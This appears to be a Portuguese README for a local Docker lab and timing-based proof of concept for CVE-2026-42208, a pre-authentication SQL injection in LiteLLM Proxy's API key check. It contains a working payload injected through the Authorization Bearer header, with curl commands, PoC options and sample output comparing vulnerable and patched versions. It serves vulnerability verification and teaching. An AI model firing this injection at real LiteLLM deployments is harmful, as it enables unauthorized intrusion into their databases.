
Lab Docker local e prova de conceito baseada em temporização para CVE-2026-42208, uma injeção de SQL pré-autenticação no LiteLLM Proxy, demonstrando instâncias vulneráveis versus corrigidas.
Laboratório Docker local e PoC de menor dano para CVE-2026-42208, uma vulnerabilidade de injeção SQL pré-autenticação no caminho de verificação de chave de API do LiteLLM Proxy.
Este repositório demonstra a diferença entre uma instância vulnerável do LiteLLM e uma instância corrigida do LiteLLM usando uma prova baseada em timing com pg_sleep() do PostgreSQL.
Escopo: apenas laboratório local / testes autorizados. O PoC padrão não despeja dados do banco de dados e não modifica dados do banco de dados.
A CVE-2026-42208 afeta as versões 1.81.16 até as versões anteriores a 1.83.7 do LiteLLM Proxy.
A vulnerabilidade é acionada por meio de um cabeçalho Authorization: Bearer ... manipulado enviado a um endpoint da API do LiteLLM. Nas versões afetadas, o token fornecido pelo chamador pode alcançar um caminho de consulta SQL durante a verificação da chave de API.
Este laboratório compara:
| Serviço | Versão | URL | Resultado Esperado |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | resposta 401 atrasada |
patched | v1.83.7-stable | http://127.0.0.1:8082 | resposta 401 rápida |
A prova usa um payload semelhante a:
' OR (SELECT pg_sleep(6)) IS NULL --
Ambos os serviços devem retornar HTTP 401, mas a instância vulnerável deve levar cerca de 6 segundos para responder, enquanto a instância corrigida deve responder rapidamente.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> LiteLLM vulnerável -> PostgreSQL db-vuln
localhost:8082 -> LiteLLM corrigido -> PostgreSQL db-patched
Os serviços PostgreSQL são serviços Docker internos e não são expostos ao host.
Apenas as portas HTTP do LiteLLM são expostas:
| Porta do Host | Serviço | Porta do Contêiner |
|---|---|---|
8081 | LiteLLM vulnerável | 4000 |
8082 | LiteLLM corrigido | 4000 |
docker compose up -d --build
Verifique o status dos serviços:
docker compose ps
Status esperado:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Teste a instância vulnerável:
python3 poc/poc.py --url http://127.0.0.1:8081
Teste a instância corrigida:
python3 poc/poc.py --url http://127.0.0.1:8082
--url URL base do alvo
--path Caminho da API a testar. Padrão: /v1/chat/completions
--sleep Segundos para pg_sleep(). Padrão: 6
--rounds Número de rodadas de sondagem. Padrão: 2
Exemplos:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Instância vulnerável:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Instância corrigida:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Exemplo de resultado deste laboratório:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
A observação importante é que ambos os serviços retornam 401, mas apenas o serviço vulnerável atrasa aproximadamente pela duração do pg_sleep().
Este repositório usa uma prova por timing porque é mais segura do que extrair dados.
O PoC prova que a expressão SQL injetada está sendo avaliada observando o atraso na resposta. Ele não tenta despejar linhas do banco de dados, extrair chaves de API, modificar registros ou contornar a autenticação.
Serviço vulnerável:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Serviço corrigido:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Comportamento esperado:
vulnerável -> aproximadamente 6 segundos
corrigido -> resposta quase imediata
docker compose down -v
Isso remove contêineres, rede e volumes do PostgreSQL.
Este laboratório é destinado apenas a testes locais e autorizados.
Não execute o PoC contra sistemas que você não possui ou para os quais não tem permissão de teste.
Não use chaves de API reais de provedores ou credenciais de produção do LiteLLM neste laboratório.
O PoC padrão evita comportamento destrutivo e não extrai conteúdo do banco de dados.